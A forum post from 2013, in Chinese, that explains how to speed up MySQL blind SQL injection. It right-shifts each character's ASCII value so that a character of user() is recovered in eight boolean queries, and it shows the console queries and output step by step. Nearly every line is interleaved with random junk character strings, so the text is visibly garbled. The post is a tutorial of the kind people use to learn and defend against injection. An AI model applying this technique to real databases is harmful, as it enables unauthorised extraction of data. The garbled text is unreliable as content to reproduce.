找回密码
 立即注册
查看: 3029|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位+ L2 m- W2 Y& ~/ _9 h
/ Y! u+ k7 }; A5 L  r9 `) C

! O- A3 m' X0 f; U+ [
& j* E' J9 ~7 K6 D+ d! R0 U0 }8 c下面将以查询mysql数据库当中user()的第一位为例:( A& E' Z) R1 A5 F9 y* H* O

) B% B( C0 z% E3 ]0 r+ V& r 0 n6 I  g3 i1 B3 E4 N

. E' F. W1 t3 t3 k8 a+ ops:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
) V& _$ X! i0 b1 ~
3 ]4 T; _4 f$ O$ k+ X
' ~! v. T; Z9 y, @+ D* A  Y1 m  o9 H5 d+ ~8 i9 S
首先执行如下sql语句:# g2 q' E' \2 @3 J" Z3 F& Y3 A
. K# I# M& {9 m! i( e. `/ j
8 ~2 c, h  q+ G

( R9 v/ N4 m% J) C0 b* ]mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
9 s+ G1 g% a& d# y4 a, ]0 i8 p
. }. u& V7 P' v& L2 \ 2 O8 E6 D( i' P% L) W) z* n; v. y

2 v: Y. A; ?& y) h! W& k9 `4 s我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的/ E: V& f0 a4 j3 L: a

4 M8 D* Z+ e6 j 8 l0 d! Y" W' p, g- p( m) T" l6 d( {
  A8 b8 I3 M& \3 z9 q
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! z  S# T& U! P9 t* |% B! y% q/ Z  h% @
0 a+ ^9 s5 V: N3 G' F3 F& B

: D9 k% l% x# `- S3 H+ b如果运算结果为1,说明第一位为0,不为1
- t6 M" y2 e6 r% E; O; g+ F  d- S4 E! ~. V) P
1 ~5 }1 L1 r- b! I: i5 G
, l2 `% r/ F3 O; r: G
+————————————–+
1 l/ r. b4 J4 y/ c9 m8 G8 m% F8 l3 t/ j7 T
| (ascii((substr(user(),1,1))) >> 7)=0 |
: `% C3 s2 t  a5 }
6 V3 b  j0 a7 O' `$ M$ o! P2 j; Z+————————————–+
+ B# R' m2 K" p$ I7 h
: T3 _2 O& m1 A| 1 |
( I6 ?. `- Q; J2 P  C+ \2 y! y  D( p5 x; N5 I& T) S7 m8 ?6 _
+————————————–+
9 n6 d: ~) }8 H1 {$ _9 a& _
* y) n* t: f& B/ _5 W! p# K1 row in set (0.00 sec)
8 [1 Z' \& D' z$ s: v1 i$ N- n( u5 G( ]
$ j% d! F+ i' [! \( {3 M这样我们就确定这个8bit的ascii的第一位为0- T+ d4 p2 q4 F+ j% K5 V! @

; [- k& c' g! W+ m8 O# o4 V
0 V+ \1 i  q) h) n: A9 P" r& A- d1 p
第二次我们来做6次右偏移来确定前两位
4 c; J. k1 I; C4 T, }" `$ x/ h- _) T) t! f/ N

' D1 U( ^7 M& w; R) A& n* i: ?
# r: X( a' z/ k+ U; j前两位可能是01或00,即依然可以与0做比较,
/ |7 i8 ^7 w9 ^: W" N& t  \+ m, [: X9 d  a& S
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;  L+ Y  V+ Y& f% ^: y! E
( i) U! v! z8 G7 K) S2 y6 {+ E
+————————————–+3 f' R7 }* }" E1 a
" q2 C6 y. ?$ k$ g, {1 W$ ]& D
| (ascii((substr(user(),1,1))) >> 6)=0 |
* G( A, ^- W3 J) w
  m8 O# H. J1 k' ?# X8 z& }+————————————–+9 T! K% K% m( A

+ Z7 l0 H" W& C6 m| 0 |
4 h# [4 ~' p6 {& y) ?( S7 v
1 T) p" V; E2 w, \, q+————————————–+
: T4 W3 U$ ^4 y$ G# {, d! t' w0 X4 h" v/ S, Z
1 row in set (0.00 sec)* l+ O4 G" L$ J
; L0 c' a9 M2 |. t- L

2 S$ [% k, D0 x& e( A  s& J4 S2 @7 W# t( \
结果为0,即第二位为1+ f. q! {/ [9 j0 l0 X* K; g! {

7 G% ^+ k6 s" V3 u+ K 2 _. w$ f% S7 u. @9 y- t, ?  i- y$ ]

0 A6 [2 W; P( R  d; h' b1 r开始猜测前三位为010或011
" Z% j$ X2 ?  J) I) c8 l
" C* N1 Z9 o2 R) z. R- p- o 2 j0 C% M4 D) ]! F, U/ M
6 S9 e' K: @; j0 r
让我们看看010和011的ascii码是多少
6 T$ c! y; `9 l& u4 H0 M1 T
' B: D; y2 {8 @, V! I: ~* V : G: F. r2 t& T/ t" K

- C0 N7 ?# F6 a8 o$ f5 @6 W( m分别查询select b’011′ select b’010′" X8 S, E- Q7 q: x+ H

' P& \/ B% |/ N5 [4 R # \, w4 }7 s) `5 R4 R) F

7 U* t* r! N" E0 q获得结果 010 = 2 011 = 3, o- P' K' Q, V5 b( J6 l

4 F3 I8 \; w! o; ^) f/ r" ] . N# q- }) s- _9 v* I! |4 p
1 C+ R, ]! x# C( h: _: O
执行如下sql:7 x6 m2 h- O' C# Y& v3 b( R7 b
# b: r3 o: _) n7 I4 i
0 q' N  j* F5 s. S7 H
" P$ h; w+ Q7 n: G
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
: b- z8 ~% c! ~0 }' O" J/ V8 t9 k3 A3 @& q0 J
+————————————–+
9 K( l  l1 D- R' X. Z6 u& d: `! b, o. ]' q
| (ascii((substr(user(),1,1))) >> 5)=2 |* S: D0 A# l1 j- y
8 n5 v: }; g9 f: r' A' @
+————————————–+6 p( Z2 `4 m5 a& T  L! V8 |
# Z4 {% T; l, j* y& S
| 0 |
: J( c5 r$ _9 T$ C5 {0 O5 U$ h/ Z7 A5 u/ d
+————————————–+
) s9 C9 }5 C4 `/ P* z2 l$ Z! n! Y$ ~: i( j: B# t, Z
即前三位不为010,而是011
9 U8 u9 l& ^3 C6 L
1 M! r8 ?8 [& L7 s* t/ N
: ^& h" B1 E7 N, \( ^9 K3 A5 S) l8 V( z8 [# [8 ?; Q7 I6 V
直到获得最后一位  F: [- j' s! r2 _8 @

6 k' m( R+ n5 c+ f
( x( G! }7 t9 ]. E7 {  f' j9 x) V& R- ]
最终结果为:01110010
0 L! V2 n& V2 [4 p9 J% Y
( [$ q0 _9 i6 {9 H" T0 C/ i2 L ' }; M# \' Z( ^# L
$ X7 y. P' }0 m
转换一下:6 }- O1 I6 s: _( i

) t' j5 U- B, o ! f$ H3 G. ~! y& G" O

, W7 A( D3 E1 B& o) kselect b’01110010′  e: f- m+ {4 Y( ^
. A$ Q5 v7 k: f4 d$ A

7 Q7 o; i# T" p( g
) z* _+ s6 R! i2 f查询结果+ S4 y0 h, y& Z1 y: W/ k9 |

: F, n( ]% ]0 _) [  d8 z% K& m1 M 8 m" P; [: H/ j; T

+ R$ U2 t* P( f) ~  n: \& o/ r+————-+
0 C, Z4 p: N% @% ?* Z' l5 R( l2 @" y1 ?( y" g3 r
| b’01110010′ |) @7 F+ [# A! a, H, [# s
" O! @% Y( \7 k4 u
+————-+
- O' ]" R8 u6 i% l' N- I2 Y  B/ N! q. C% W2 {6 I
| r |
3 v0 S- Q3 g  ^& @8 L- R+ h4 z! t* ~: W
+————-+! V6 _2 D4 v9 T+ c3 p2 N( x/ f

% k) J* z0 b6 _% ]% Q% }1 row in set (0.00 sec)
: f* T# Z" m2 ^7 F: j' k0 {2 c; ?, N6 W+ p2 V& E8 `3 S# q6 v9 \1 \

! @! M7 n/ S) A' l4 Z. y; x- s$ @( q1 C0 e
这样我们就获得了user()的第一位.其它位依此类推
8 h1 @' [, r; l  L0 b
% j: m1 Y- J% j" B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表